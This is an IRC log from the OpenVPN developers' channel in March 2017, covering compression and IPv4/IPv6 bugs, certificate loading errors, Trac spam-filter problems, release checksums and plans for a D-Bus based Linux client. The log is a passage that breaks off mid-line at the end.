05:33 <@plai> cron2: will do 07:48 < slypknot> mattock: dazo cron2 I don't mean to "add noise" but I still cannot CC myself on trac. (re #859) 07:49 <@cron2> feel free to comment "no idea what the solution is but want to learn", but please do not ask for details that are either already in the logs, or are not relevant - this just creates noise 07:50 < slypknot> ok 08:16 <@ordex> in the openvpn protocol, is the key_id supposed to increase upon every renegotiation? or should it just alternate between 0 and 1 ? 08:18 <@dazo> alternate, iirc 08:18 <@cron2> increase :) 08:18 <@ordex> in my tests I see it increasing 08:18 <@ordex> mh ok :D 08:18 <@cron2> (I think I saw a comment from syzzer to that extent, but he's the man who knows) 08:19 <@ordex> the alternation you are referring to is probably the primary->secondary->.. exchange 08:19 <@ordex> hehe ok 08:20 <@dazo> ordex: yes, that where I was headed 08:20 <@ordex> dazo: yup oky 08:20 <@ordex> thanks for you all for your commens :) 08:21 <@ordex> *comments 08:31 <@vpnHelper> RSS Update - tickets: #861: OpenVPN 2.4.* issue <https://community.openvpn.net/openvpn/ticket/861> 08:40 <@cron2> dazo: don't believe anything people put in tickets 08:40 <@dazo> fair enough 08:41 <@cron2> I'm reasonably sure IPv4/IPv6 has nothing to do with this - but it's very well possible that a *reconnect* changed some of the compression settings (server pushed options etc) so the protocol change changed behaviour 08:41 <@cron2> or he just did not wait long enough to see the message (which is only seen if data traffic is sent) 08:41 <@dazo> yeah, I was puzzled by that as well ... but a reconnect may indeed have left some settings behind 08:42 <@cron2> "comp-lzo no" is just weird 08:42 <@vpnHelper> RSS Update - tickets: #861: OpenVPN 2.4 compression failure against 2.3 server <https://community.openvpn.net/openvpn/ticket/861> 08:42 <@dazo> yeah, it disables compression but adds the compression "frame" 08:44 <@dazo> if the server had used 'comp-lzo' or 'comp-lzo adaptive' ... it might actually have worked 09:52 <@dazo> mattock: btw ... probably have forgotten to mention it, but I've taken over the role as the Fedora/EPEL package maintainer for OpenVPN ... Jon (the previous one) got too busy 09:54 <@dazo> (been working on the 2.4.1 release, cleaning up a few things and hacking together a mbedtls compat fix for F26+ yesterday, so F25-F27 are in the release pipe ... and just pushed EPEL-6 to the builders now) 09:54 * dazo heads out again 13:32 <@vpnHelper> RSS Update - tickets: #862: Upgrade to OpenSSL 1.1.0 for ChaCha20-Poly1305 <https://community.openvpn.net/openvpn/ticket/862> 16:07 < sms> Anybody here developed anything with the Openvpn3 API yet? 17:12 <@dazo> sms: I'm working on a brand new Linux client 17:19 < sms> Same here dazo, I'm trying to write a VPN client right now. 17:20 < sms> It's pretty crazy how little information there is on this API out there. 17:26 <@dazo> sms: have a look at test/ovpncli/cli.cpp 17:27 <@dazo> sms: but if you're putting efforts into a Linux client, then we should have a more serious talk so we don't do too much double work 18:47 < sms> Sounds good dazo, I don't really have much done. So far I've just designed the client in QT and done a ton of research. What I intended to design was moreso a standalone VPN client for a particular service rather than a general OpenVPN client, but that sounds interesting as well (and better) and I'd like to help. 18:51 <@dazo> sms: I'm going to separate openvpn into a background service, managed via D-Bus, which runs with the proper privileges. And then UI can run completely unprivileged, just pushing a config to the backend via D-Bus, which establishes the connection and reports back to the UI. This also helps when integrating username/password dialogues and PKCS#11 smart cards too, as they have access to the user session (which a process running as root 18:51 <@dazo> seldom have) 18:52 <@dazo> but this is still early in development, currently I barely have some PoC code running ... and it is very fragile currently 18:54 < sms> That sounds really good. That was essentially my intention, running privileged on the back-end. It's ugly having to run a UI with sudo privs. Could I see what you have so far? 18:55 <@dazo> sms: sure, I can try to push it out somewhere ... but not right now, need to head for bed very soon :) (1am here) 18:57 < sms> Haha sounds good, look forward to it. I'll be in here tomorrow and we can talk more. 18:57 < sms> You're European? 18:57 <@dazo> sms: the biggest challenge is actually to figure out which D-Bus library/implementation to base the work upon ... and James isn't too happy about Qt, as it is ageing and doesn't make fully use of C++11 features 18:57 <@dazo> yeah, located in Norway 18:59 < sms> Nice, I used to have a Norwegian partner, we'd joke about how we can work around the clock due to the timezone difference 19:00 < sms> Also no QT huh? That was my starting point. 19:01 <@dazo> well, I have poked at QtDBus ... it is actually one of the better documented implementations ... but going to dig deeper into GDBus and dbus-c++ 19:01 <@dazo> having something partly working with dbus-c++, but I'm not too fond if it as it seems like a fairly dead project 19:02 < sms> I'll look into those today, I've heard of GDBus but I have no idea about dbus-c++ 19:02 <@dazo> Also considering to test reusing the Java-Swig stuff ... to do most of this via Python through a SWIG adapter 19:03 < sms> Never worked with either though. 19:03 <@dazo> got any D-Bus experience at all? 19:07 < sms> Not really, haven't done much on Linux actually 19:07 <@dazo> fair enough 19:07 < sms> But I could figure it out 19:08 <@dazo> sms: the more I work with D-Bus, the more I like it actually ... it's a really nice and solid IPC, with good access control features 19:08 < sms> Especially if we could find a way to use Python, I'll look into that today as well 19:09 < sms> Python is my baby 19:12 <@dazo> nice :) ... here's a really quick PoC idea for D-Bus with a OpenVPN 2 server .... the current version here is just a stupid TCP management wrapper providing features over D-Bus ... https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg12434.html 19:12 <@vpnHelper> Title: Re: [Openvpn-devel] Modernising the management interface (at www.mail-archive.com) 19:12 <@dazo> but it at least provides some clues how to use Python with D-Bus ;-) 19:13 <@dazo> Currently I've shifted focus to the OpenVPN 3 based Linux client, though ... so not directly comparable at all ... will give you those ideas tomorrow 19:19 < sms> That's where I ended up at, the OpenVPN3 API. My original ideas were super hacky and not really intended for anything remotely commercial, more just for personal use. 19:21 < sms> This proof of concept project is interesting, hmmm... 19:22 <@dazo> yeah, it opens up for a completely new way of integration ... where you don't have to care about how data is transported, it just is done properly ... you just work with objects like they were native 19:23 <@dazo> and then you have a bunch of languages with D-Bus libraries, then it doesn't matter what the backend service is written in 19:25 <@dazo> anyhow ... time to head for bed :) ... c'ya tomorrow! 19:25 < sms> Alright night dazo, I'll think about what you said today 23:51 <@ordex> syzzer: do you have any performance comparison between tls-auth and tls-crypt ? or do we have any tool to measure them ? --- Day changed Fri Mar 24 2017 03:24 <@syzzer> ordex: no, I don't, but I don't think it's relevant - the control channel is low-bandwidth and by far the most time spent is in performing the TLS and OpenVPN handshake. 03:24 <@syzzer> the symmetric crypto is peanuts in comparison 03:24 <@ordex> yeah 03:25 <@ordex> I was just curious, but I agree it's not strictly relevant 08:12 < slypknot> There is a post on the forum : https://forums.openvpn.net/viewtopic.php?f=4&t=23746 08:12 <@vpnHelper> Title: OpenVPN 2.4.0 won't load root certificate file on FreeBSD 11 - OpenVPN Support Forum (at forums.openvpn.net) 08:13 < slypknot> the error is : Cannot load CA certificate file /usr/local/share/certs/ca-root-nss.crt (entry 129 did not validate) 08:13 < slypknot> and then : Cannot load CA certificate file /usr/local/share/certs/ca-root-nss.crt (only 171 of 172 entries were valid X509 names) 08:13 < slypknot> I know cron had some problem with freebsd and loading a cert .. is this related ? 08:14 < slypknot> cron2 i mean 08:18 <@cron2> that sounds like someone wants to load a global CA cert which is installed by a FreeBSD 3rd-user package (port) 08:19 <@cron2> ... and something in there is just garbage, according to the SSL library used 08:19 <@cron2> this is more a case of "do not use commercial CAs for OpenVPN" than "FreeBSD" 08:21 < slypknot> ok thanks 08:21 < slypknot> I asked them to try easyrsa3 root ca for test 08:22 < slypknot> apparently, the one they areusing is from lets-encrypt .. 08:24 <@cron2> they should then refer the specific CA cert they want, not "the big bag with all the global garbage in there" 08:24 <@cron2> nobody should ever have *172* trusted CA certs in their openvpn setup 08:24 <@cron2> never 08:26 < slypknot> looks like it, they say : "OpenVPN will not load the system-wide root CA file" 08:27 <@syzzer> what cron2 says. (and aside from that, the openssl version on the system - or mbed TLS, if they're using that as a backend - is refusing to parse the cert. not much we can do about that.) 08:27 < slypknot> and it works ok with nginx 08:27 <@cron2> right. But the refusal isn't openvpn but openssl or mbedtls (whatever they used) - but it's good that openvpn refuses to load a heap of crapshit 08:27 < slypknot> :) 08:27 < slypknot> ok .. many thanks 08:28 <@cron2> can't wait to see what happens when Google kicks out Symantec CAs... :) 08:36 <@syzzer> yeah, there is some serious muscle flexing happening between Google and Symantec... 08:41 <@ordex> lol 11:24 <@cron2> syzzer: how would per-client tls-crypt work? 11:26 <@cron2> (and as for OVPN-02: "I have no idea what you are talking about, but it sounds great!" :-) ) 11:32 <@syzzer> cron2: I'll send you the proposal I have now, which I basically just need to polish textually before sending it to the list (for the last three months...) 11:50 <@cron2> saw the proposal, exceeds my brain capability for crypto right now 11:50 <@cron2> (kids are tired and hungry, and shouting at each other...) 11:54 <@ordex> :D 12:14 <@syzzer> hehe, food for later than 12:15 <@syzzer> (and damn, buffer_list_aggregate_separator() is a mess...) 17:00 < sms> Good afternoon everybody. 19:00 <@vpnHelper> RSS Update - tickets: #863: cannot link against static openssl library <https://community.openvpn.net/openvpn/ticket/863> 21:40 <@ordex> syzzer: just delete it ! :D 21:40 <@ordex> sms: goodm orning --- Day changed Sat Mar 25 2017 10:16 < slypknot> it appears, current gentoo does not support EC certificates 10:24 <@ordex> slypknot: uhm, what do you mean ? the ssl library ? 11:20 < slypknot> ordex: probably but all --show-* also do not contain ant EC parms 11:22 < slypknot> openvpn cannot load easyrsa3 ec type certs 11:23 < slypknot> yeah .. it is definately openssl 11:41 < slypknot> "sinking" now 12:27 < slypknot> pfft .. gentoo 12:28 < slypknot> openvpn 2.5_git + openssl 1.0.2k .. cannot load EC cert 12:28 < slypknot> Sat Mar 25 17:20:18 2017 us=678852 OpenSSL: error:0609E09C:digital envelope routines:PKEY_SET_TYPE:unsupported algorithm 12:28 < slypknot> Sat Mar 25 17:20:18 2017 us=678921 OpenSSL: error:0B07706F:x509 certificate routines:X509_PUBKEY_get:unsupported algorithm 12:29 < slypknot> Sat Mar 25 17:20:18 2017 us=678936 OpenSSL: error:140BF10C:SSL routines:SSL_SET_CERT:x509 lib 12:29 < slypknot> that is way above my pay grade .. 12:29 < slypknot> Sat Mar 25 17:20:18 2017 us=664914 OpenVPN 2.5_git [git:master/9e849c1e00a88abe] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Mar 25 2017 12:29 < slypknot> Sat Mar 25 17:20:18 2017 us=664924 library versions: OpenSSL 1.0.2k 26 Jan 2017, LZO 2.08 12:29 < slypknot> S 12:35 < slypknot> cert created with easyrsa3.0.1 - var file with "set_var EASYRSA_ALGO ec" CURVE secp384r1 12:36 < slypknot> works on everything else from wxpp to w10p and from debain8 to Archlinux 12:39 < slypknot> FYI: I'm not here for support .. just feeding back 13:49 < t355u5> cron2: I saw your update in trac. unfortunately I cannot reply. I always get an internal trac error 13:49 < t355u5> the ticket is 863 13:50 < slypknot> t355u5: some attachment types will cause that error 13:50 < t355u5> no attachment for the reply 13:50 < t355u5> I cannot even open a new ticket 13:50 < t355u5> tried 3 browseers 13:52 < t355u5> always get: Trac detected an internal error: 13:52 < t355u5> IndexError: list index out of range 13:52 < t355u5> I really need a way to reply to the ticket 13:53 < slypknot> t355u5: the spam filter is quite tight .. and it sounds like you may have triggered it 13:53 < slypknot> i con't help but somebody here will .. just be payient 13:53 < slypknot> patient* 13:55 < t355u5> slypknot: thx, will do. (I just looked at my reply. I have no clue what could have triggered the spam filter. if I can't even reply to my own ticket as an authenticated user, something is wrong in the setup) 13:56 < t355u5> cron2: here's my reply for ticket 863 13:56 < t355u5> cron2: Just tried your configure workaround and it did not work. Same error as before. 13:56 < t355u5> Your explanation has me a bit puzzled, because I use this library and pkg_config for every other software relying on openssl (Apache httpd, php, dovecot, sendmail, ...), including openvpn 2.3.14. Every other software configures and compiles just fine. 13:56 < t355u5> So how can it work with openvpn 2.3.14 and not with openvpn 2.4.x? 13:56 < t355u5> Please note that using a dynamic ssl lib works fine as well. I really think this is not a problem on my end. If I had issues with any other software, I'd be willing to accept that I screwed up somewhere, but it even works with openvpn 2.3.x. 14:11 < slypknot> t355u5: I just added a quick comment to #863 .. my guess is you have somehow triggered the spam filter 14:12 < t355u5> slypknot: hmm, did you see the text above (sent to cron2)? curious. very weird 14:13 < slypknot> there are no other comments on #863 than cron2 + me 14:17 < t355u5> no, I meant here in IRC 14:18 < t355u5> the one I sent at 14:54:10 EST 14:26 < slypknot> yes , i can read IRC ok 16:34 < t355u5> cron2: thx for adding my comment to the ticket. 16:35 < t355u5> is there a trac admin in this chat, who can check why I can't reply to or add comments? 17:05 <@cron2> mattock is the trac man 17:16 < t355u5> mattock: hello, any chance you could have a look at the trac system? I can't reply to or add comments, nor can I create new tickets. my userid is: tessus. 17:17 < t355u5> mattock: if you need more info, please send me an email. there's one in my profile. 19:04 < SCHAAP137> hm, lzo 2.10 has been out for a while, but openvpn-build master repo is still using 2.09 --- Day changed Sun Mar 26 2017 00:29 <@ordex> t355u5: most likely the fault resides in the text you are writing 00:29 <@ordex> can't tell what it is 00:29 <@ordex> but happened to me too 00:35 < t355u5> ordex: yea, I can't figure out what text might have triggered it. but I cannot even reply with 4 simple words. anyway, I hope mattock is able to fix it. spam filters are nice for unregistered users, but if you are registered it is useless - and apparently makes it impossible to use this system 00:36 <@ordex> it is not just a spam filter, I think there is something else 00:36 <@ordex> anyway mattock should be able to check the og 00:36 <@ordex> log 00:40 < t355u5> awesome, although I will go to bed in about an hour. I don't think my IRC client logs text when my macbook is asleep. anyway, he can always send me an email, if he need additional info. 02:10 <@cron2> ordex: we actually do have a number of (complex) commits that carry the v1, v2, v3, v4 ... in the git log - for such a trivial commit, it's probably meaningless, but for complex commits it can help explain the thought process :) 02:11 <@ordex> cron2: if the information is so important, wouldn't it make sense to expand it and make it part of the commit per se? people that have not followed all the versions being posted to the ml might find it difficult to understand otherwise (I think) 02:12 <@cron2> if someone really wants to know, the thread is linked from the commit message... 02:48 <@ordex> true as well 02:48 <@ordex> yeah :) 14:40 < t355u5> syzzer: the patch did not work. I still can't reply to the trac ticket 14:47 < t355u5> ordex: any chance you could look at the trac system? i cannot even add a comment that says: the patch did not work 17:09 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Disconnected.] 17:10 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 18:08 <@vpnHelper> RSS Update - tickets: #864: New systemd unit files does not allow --nice <https://community.openvpn.net/openvpn/ticket/864> 20:11 <@ordex> t355u5: I have no special access 20:11 <@ordex> t355u5: today mattock should be around 20:58 < t355u5> ordex: haven't seen him active today. it's really a problem that I can't use trac. using IRC for trying to reply to a comment is tedious. 20:59 <@ordex> t355u5: but it was sunday :P 21:00 <@ordex> I don't know what I can do 21:00 <@ordex> other than waiting for him 21:00 < t355u5> ordex: right, what I meant was: I usually reply to the ticket and wait for the next email that tells me a new update is available. now I have to monitor IRC to grab the person who updated the ticket to tell him my progess and the outcome 21:01 <@ordex> t355u5: I see - I understand it should be fixed 21:02 <@ordex> but the only thing I can say is that I have no access to the trac log, so I have no idea :S 21:05 < t355u5> ordex: no worries, I can wait. the time difference to Europe just makes using IRC a bit awkward 21:06 < t355u5> ordex: anyway, gotta go. I need a beer. have a good one. 21:07 <@ordex> hehe enjoy! --- Day changed Mon Mar 27 2017 03:07 < diizzy> Hi, are checksums between https://build.openvpn.net/downloads/releases/ and https://swupdate.openvpn.net/community/releases/ supposed to mismatch for openvpn-2.4.1.tar.xz ? :) 03:07 <@vpnHelper> Title: Index of /downloads/releases/ (at build.openvpn.net) 03:07 < diizzy> build --> 5dc81e547f3d703ef63047efa3efe6d96e6c7b8530c17c26562b3b63b8e5a2fc 03:07 < diizzy> swupdate --> fde9e22c6df7a335d2d58c6a4d5967be76df173c766a5c51ece57fd044c76ee5 03:08 < diizzy> (sha256) 03:09 < diizzy> cron2: ping? 04:03 < diizzy> Hello? 04:17 <@cron2> diizzy: they are not, but mattock is the one to ask about that 04:17 <@cron2> mattock: please check :) 04:23 < diizzy> thanks 06:44 < diizzy> cron2: the match now 06:44 < diizzy> they* 08:18 <@mattock> diizzy: yeah, typically these problems are due to CloudFlare caches, but this time the actual files on the webserver _were_ different 08:19 <@mattock> from the hash perspective, at least 08:43 <@cron2> users... 08:43 <@cron2> "I'm sorry to mail you directly, but you are the author of a commit causing issues in my setup." 08:43 <@cron2> ... and then he points to b8c4684f01701742eceb9dc6bfc4e2564278f6fd. 08:43 * cron2 morphs into pekster 08:48 <@ordex> lol 09:45 < slypknot> just got another "trac detected an internal error .. bla" .. it seems the anti-spam may be a bit over zealous ? 09:46 < slypknot> https://forums.openvpn.net/viewtopic.php?f=1&t=23764#p69032 09:46 <@vpnHelper> Title: x86 binaries on x64 operating system - OpenVPN Support Forum (at forums.openvpn.net) 09:54 <@cron2> indeed, trac is not liking people these days... mattock: please be fixing it! 09:54 <@cron2> (I'm not sure we'll revert to providing x86 binaries, though, unless someone sends an installer patch to make it offer an option on the CLI or such) 10:03 < slypknot> x86 v x64 .. could the build-system be customised to build only one or the other ? 10:03 < slypknot> i mean .. could somebody do it for themselves ? 10:04 <@cron2> the build system builds one, then the other, then the installer, and then packs it all together 10:04 < slypknot> ok 10:04 <@cron2> of course - this is open source and documented 10:04 < slypknot> so they could use the build system if it is that important to the user 10:04 <@cron2> yep 10:04 < slypknot> good enough 10:04 < slypknot> ;) 10:05 < slypknot> ty 11:40 < slypknot> I have just looked at 'status 2' on a server that runs more than one openvpn server .. *both* server's routes are listed in the table .. is that meant to happen ? ie. many openvpn server instances maintain only one routing table between them all ? 11:42 < slypknot> scratch that .. I need to double check what i am doing .. 11:46 < slypknot> sorry .. it is lans behind clients etc 13:02 < slypknot> Ha .. client-kill 18 _HALT_ - my C is improving ;) 15:00 < danhunsaker> Oh, and ordex? 15:00 < danhunsaker> Pretty sure you're asleep at the moment, but welcome to the dark side anyway. 16:52 < t355u5> syzzer: the patch did not work. 20:32 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 240 seconds] 20:33 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 20:33 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 20:37 <@ordex> morning ! 20:49 <@ordex> danhunsaker: of course I was :P --- Day changed Tue Mar 28 2017 02:34 <@syzzer> t355u5: hm, that's a shame. I'll look into it later. 03:06 < danhunsaker> We need to get people to start using ZNC for this place or something. 03:07 <@ordex> there are people that join here just to talk about something and then leave..not sure they'd be interested in using znc 03:07 <@ordex> but if they ask something, it's their responsibility to idle until they are satisfied, I believe 03:28 < danhunsaker> I didn't mean require it so much as offer it. 03:30 <@ordex> oh yeah 03:54 <@cron2> syzzer: shall we resume work on 05, now that you fixed --remote-cert-ts? ;-) 04:03 <@syzzer> cron2: yeah. Though I think it is more prudent to communicate something back to the PIA guys 04:06 <@cron2> good point, that needs to be tackled too 07:50 <@cron2> so where's mattock...? 08:12 <@mattock> how come? 08:36 <@cron2> mattock: folks are having issues with trac 08:37 <@cron2> error messages instead of being able to post updates (or even 4 word notices "patch does not work") 08:43 <@mattock> yes, I know, old news and fixed already 08:43 <@mattock> our external spam filtering services have been behaving surprisingly badly, so I greatly reduced their weight and increased the weight of the Bayesian filter which works pretty reliably nowadays 08:44 <@mattock> if the external service continue to play games I will have to disable them, as they do more harm than good 08:45 <@mattock> they were somewhat useful in the time when Bayesian filter did not yet have enough training 08:47 <@syzzer> mattock: would it be possible to give users a nicer error message when their posts are rejected by spam detection? 08:49 <@mattock> syzzer: possibly, haven't checked the code 08:49 <@mattock> -> TODO 09:02 <@mattock> there is now a link to "Deprecated features" on the Trac front page: https://community.openvpn.net/openvpn/wiki/WikiStart 09:02 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 09:05 <@mattock> I think we should update the openssl config defaults for easy-rsa 2: https://github.com/OpenVPN/easy-rsa-old/blob/master/easy-rsa/2.0/openssl-1.0.0.cnf 09:05 <@vpnHelper> Title: easy-rsa-old/openssl-1.0.0.cnf at master · OpenVPN/easy-rsa-old · GitHub (at github.com) 09:06 <@mattock> md5 hash algorithm and 1024-bit keysize (https://github.com/OpenVPN/easy-rsa-old/blob/master/easy-rsa/2.0/vars) 09:06 <@vpnHelper> Title: easy-rsa-old/vars at master · OpenVPN/easy-rsa-old · GitHub (at github.com) 09:06 <@mattock> same for the .bat version that is used on Windows 09:10 <@cron2> mattock: thanks for adjusting. Didn't see any comments from you here or in mail. 09:18 <@mattock> oh, mail 09:18 <@mattock> I got an email from a person to which I responded 09:19 <@mattock> was not sent to the list though 09:58 <@syzzer> so, meeting tomorrow? 09:58 <@syzzer> I recall something like that 10:21 * cron2 won't make it ("have to go eat with $vendor") 10:42 <@cron2> (but don't let that stop you :-) - maybe dazo has time, so we alternate... :) ) 12:52 <@dazo> I *might* be able to manage something tomorrow ... but my timing for arrival will be highly unreliable, as $kid2 arrived 1.5 week ago 15:29 <@syzzer> ok, I don't want a meeting per se tomorrow, just thought I recalled someone asking/announcing a meeting 15:31 <@dazo> it might be a good idea with a meeting at some point, to discuss progress of the sec audit report though 21:13 <@ordex> aloha --- Day changed Wed Mar 29 2017 03:55 <@dazo> morning :) 03:58 <@ordex> good afternoon! :) 04:16 <@vpnHelper> RSS Update - tickets: #865: Improve performance with per session random component added to --reneg-sec intervals <https://community.openvpn.net/openvpn/ticket/865> 04:58 <@dazo> *sigh* ... sorry about those mistakes in the v2 patch, syzzer .... I have no idea why the extra 's' appeared, because I did run some testing on that patch too :/ ... probably hit a character after the compile and saved it :/ 05:01 <@syzzer> dazo: yeah, I was kind of surprised when 'make' barfed at me :p 05:44 <@vpnHelper> RSS Update - gitrepo: docs: Fixed man-page warnings discoverd by rpmlint <https://github.com/OpenVPN/openvpn/commit/9636196d5efb719cf1011397a360d46bccb3fe29> || auth-token: Ensure tokens are always wiped on de-auth <https://github.com/OpenVPN/openvpn/commit/daab0a9fa8ff4f40e8a34707db0ac156d49fbfcb> 05:56 <@dazo> syzzer: have you tested mbed TLS PKCS#11 functionality? Trying to do a build, but it seems #define MBEDTLS_PKCS11_C is hard-coded disabled in config.h 06:36 <@syzzer> dazo: mbedtls's config.h is what you need to change to change the feature set 06:36 <@syzzer> they don't offer a ./configure -like wrapper 06:51 <@dazo> syzzer: ahh, okay! Thx! Then I'll add a patch in the fedora package :) 10:19 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 246 seconds] 10:41 < Thermi> Would a patch(set) that implements port-share with a raw socket and nfqueue be acceptable? 10:42 < Thermi> (Don't know if I need a raw socket, but could be required) 10:43 < Thermi> Why bother doing that? Get the client's IP visible to the application that is connected through port-share 15:31 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 21:19 < wgreenberg> hey, is anybody familiar with streisand? https://github.com/jlund/streisand/ 21:19 <@vpnHelper> Title: GitHub - jlund/streisand: Streisand sets up a new server running L2TP/IPsec, OpenConnect, OpenSSH, OpenVPN, Shadowsocks, sslh, Stunnel, a Tor bridge, and WireGuard. It also generates custom instructions for all of these services. At the end of the run you are given an HTML file with instructions that can be shared with friends, family members, and fellow activists. (at github.com) 21:20 < wgreenberg> this isn't really openvpn specific, but I wanted to migrate a streisand snapshot (with openvpn config) to a different node on digitalocean -- is there any way that'd work? --- Day changed Thu Mar 30 2017 03:35 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 264 seconds] 03:35 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:03 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 276 seconds] 13:05 -!- Guest16289 [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 13:05 -!- mode/#openvpn-devel [+o Guest16289] by ChanServ 13:43 -!- Netsplit *.net <-> *.split quits: @Guest16289 13:44 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 13:45 -!- mode/#openvpn-devel [+o dazo] by ChanServ 16:20 <@vpnHelper> RSS Update - tickets: #866: Allow to disable Username and Password save <https://community.openvpn.net/openvpn/ticket/866> 16:20 <@dazo> cron2: hey ... with --proto udp in v2.4 ... where the remote address resolves to both IPv6 and IPv4 .... shouldn't openvpn try to connect to first the IPv6 address and then the IPv4 address? 16:20 <@dazo> plaisthos: ^^ 20:11 <@ordex> morning! 20:11 <@ordex> dazo: it's system dependent I think, based on what getaddrinfo returns first --- Day changed Fri Mar 31 2017 01:59 <@mattock> morning 02:06 <@cron2> dazo: what ordex says - your system has a preference, getaddrinfo() reflects that, and we honour it 06:23 <@dazo> cron2: ordex: thx! What are the scenarios where OpenVPN would decide to switch from IPv6 to IPv4? 06:23 <@cron2> we always try all addresses returned from getaddrinfo() in the order returned - so if the host has v6 and v4, getaddrinfo() gives us v6 first, we'll use v4 if v6 does not work 06:24 <@cron2> (but we'll likely try all v6 addresses in sequence, and then all v4 addresses, until the first is found to be working) 06:24 <@dazo> right ... but what would actually make openvpn switch during an established connection? 06:24 <@cron2> nothing :) 06:24 <@dazo> I have received this log fragment, from a user with a static key setup: 06:24 <@dazo> Mar 30 22:51:45 host2 openvpn[17291]: TCP/UDP: Incoming packet rejected from [AF_INET6]::ffff:192.168.66.1:1167[10], expected peer address: [AF_INET6]fc00::66:1:1167 (allow this incoming source address/port by removing --remote or adding --float) 06:25 <@dazo> the host is configured with both IPv4 and IPv6 ... using --remote with a hostname which resolves to both IPs 06:25 <@cron2> well, for a static key setup, the client could have just given up (--ping-restart), reconnected, found v6 non-working and then tried v4 06:25 <@cron2> since there is no negotiation, it's hard to say whether this was a "new connection" or "in the middle of an existing connection" 06:25 <@dazo> right 06:26 <@dazo> okay, that confirms my suspicion that it is a network issue 06:26 <@cron2> for a proper TLS session, we'd only change remote address (= v4<->v6) on reconnect, even if we *could* roam over ("going from wifi to 3G, one having only v4, one having only v6") 06:31 <@dazo> So ... this is an issue discovered on Fedora 25 ... a 2 people so far have been a bit upset by moving to v2.4, both related to --proto tcp/udp now doing both IPv4/IPv6 06:32 <@dazo> the first person actually had a hostname resolving to both IPv4/IPv6 but the host only listened to IPv4 ... I classify that as a configuration error 06:32 <@cron2> the latter is definitely a config error, but we should properly fall over to it 06:33 <@dazo> he claimed that didn't happen ... but haven't seen logs for that 06:33 <@cron2> so besides a connection delay (which plaisthos reduced :) ) it should work nicely 06:33 <@dazo> and then it is this static key scenario .... so I'm wondering if this is to be considered be a configuration error or not .... 06:34 <@dazo> (on the other hand, I've received more karma +1 ones on F25/F26/EPEL7 though ... just those two -1's) 06:34 <@cron2> good :) 06:46 < m-a> cron2: dazo: I have a host with dual IPv4/IPv6 address and sometimes lack IPv6 with the android openvpn client (Arne's), and it does fail over to the other IP protocol. 06:46 < m-a> is that specific to the android client or inherited behaviour? 06:53 <@cron2> it might be an Android issue - I've heard stories (I'm not using Android for anything I need to rely on) that after sleep/wakeup, some devices take a long time to re-acquire a v6 address, so the device is v4-only for a while 06:54 <@cron2> supposedly it's mainly Samsung, and the issue is that they maintain v4 while sleeping, but miss v6 RA announcements, so when that expires, v6 is gone 06:54 <@cron2> but I'm fuzzy on the details, plaisthos will surely know more 07:30 < m-a> Was just trying to provide a data point, I've got a Sony which "just works" OpenVPN-wise 07:56 <@dazo> Just did a more thorough static key testing with OpenVPN 2.3 on one side and OpenVPN 2.4 on the other side ... tried blocking IPv6 in iptables and deleting IPv6 address from the interfaces (two runs, testing this on both sides) ... and in all cases OpenVPN moved from IPv6 to IPv4 without any problems. Total tunnel downtime was 2-3 minutes (--keepalive 10 60) before it recovered and reconnected successfully 14:35 <@vpnHelper> RSS Update - tickets: #867: Static key connectivity issue between v2.3 and v2.4 in dual stack IPv4/IPv6 enviroments <https://community.openvpn.net/openvpn/ticket/867> 14:40 <@dazo> cron2: ^^^ I found the issue ... was a bit tricky to find this corner case of a configuration 15:30 <@cron2> dazo: oh, wow 15:30 * cron2 looks 16:01 <@dazo> I hope the ticket provides enough information :) 16:07 <@cron2> it does - it's very clear how and where this fails. I'm not sure if there is any way to make it work without any of the workarounds you already found (--float, or --ping-timout, or no --remote, etc.) 16:10 <@dazo> I poked a bit around in forward.c and socket.{c,h} ... what if addr_port_match() and addr_match() [socket.h] loops over all resolved IP addresses from getaddrinfo() when a hostname is used? 16:10 <@dazo> (I know it isn't just "that simple" ... but as a starting point) 16:30 <@cron2> not sure I like that - it's a new behavioural change, accepting packets from more than one remote address without actually being told to do so (by using --float) 16:31 <@cron2> right now I tend to document this particular case, and move on. peer-to-peer static-key mode is a niche, 2.3<->2.4 is a corner case, and "all these things together with neither of all the possible workarounds" is something very very rare 16:32 <@cron2> but i need to go to bed, discuss more tomorrow 16:32 <@cron2> too late already... fighting stupid intel switch management interfaces... 16:39 < slypknot> dazo: I CC myself that way i keep track of the thread .. no need to CC me again 16:39 < slypknot> thanks tho :) 17:01 <@dazo> slypknot: ahh! :) well, that was a clever "hack" :) 18:12 < slypknot> I am not gonna spam all the tracs but things I can partially understand I would like to keep up to date 18:16 <@dazo> :) 18:18 < slypknot> hi dazo 18:18 < slypknot> does trac allow subscribe without public notification ? 18:19 < slypknot> otherwise .. I just do CC and add as little noise as possible 18:26 <@dazo> For now, doing the Cc this way is okay ... we haven't had time to dig into why your privileges in reality isn't matching what the user account is set up to do 18:26 < slypknot> its ok 18:26 < slypknot> nice local trick for ipv6 dns btw 18:27 <@dazo> nice and nice ..... two of them is actually spit out in the log file :-P 18:28 <@dazo> "[...] (allow this incoming source address/port by removing --remote or adding --float)" 18:28 <@dazo> these workarounds were also tested to pin-point what is happening in the code 18:29 < slypknot> i have yet to try your actual setup but /etc/hosts {i forgot} 18:29 <@dazo> ahh! 18:29 < slypknot> luberly :) 18:29 <@dazo> that works as long as /etc/nsswitch.conf doesn't override other sources first 18:30 < slypknot> of course .. was just i totally forgot the approach 18:30 <@dazo> that happens :) 18:31 < slypknot> congrats on your new $kid btw :) 18:31 <@dazo> thx! 20:39 <@ordex> morning !! --- Day changed Sat Apr 01 2017 00:21 <@mattock> morning 00:24 * ordex is having lunch 00:24 <@ordex> :P 07:07 < 